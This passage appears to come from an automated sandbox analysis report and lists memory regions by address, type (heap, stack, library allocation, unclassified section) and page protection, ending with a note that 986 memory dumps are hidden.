page read and write
912000
heap
page read and write
15DB000
stack
page read and write
5DF0000
heap
page read and write
8152000
heap
page read and write
ADE000
unkown
page write copy
30D9000
heap
page read and write
2F80000
unkown
page readonly
4B91000
heap
page read and write
3213000
heap
page read and write
1AF9000
heap
page read and write
7F30000
trusted library allocation
page read and write
4B91000
heap
page read and write
4BF4000
heap
page read and write
4DCE000
stack
page read and write
84AE000
stack
page read and write
4B91000
heap
page read and write
AE2000
unkown
page write copy
5C0000
heap
page read and write
1410000
heap
page read and write
4BFB000
heap
page read and write
7360000
unclassified section
page execute and read and write
CD8000
heap
page read and write
439E000
stack
page read and write
5232000
direct allocation
page execute and read and write
4B91000
heap
page read and write
12F000
unkown
page readonly
29AF000
stack
page read and write
7EF0000
trusted library allocation
page read and write
4BE7000
heap
page read and write
5D0000
unkown
page read and write
6E1E000
stack
page read and write
30CE000
heap
page read and write
4B91000
heap
page read and write
4B91000
heap
page read and write
3158000
heap
page read and write
73F0000
trusted library allocation
page read and write
4D0000
unkown
page readonly
1340000
heap
page read and write
5DBA000
unclassified section
page read and write
138E000
stack
page read and write
1410000
heap
page read and write
There are 986 hidden memdumps, click here to show them.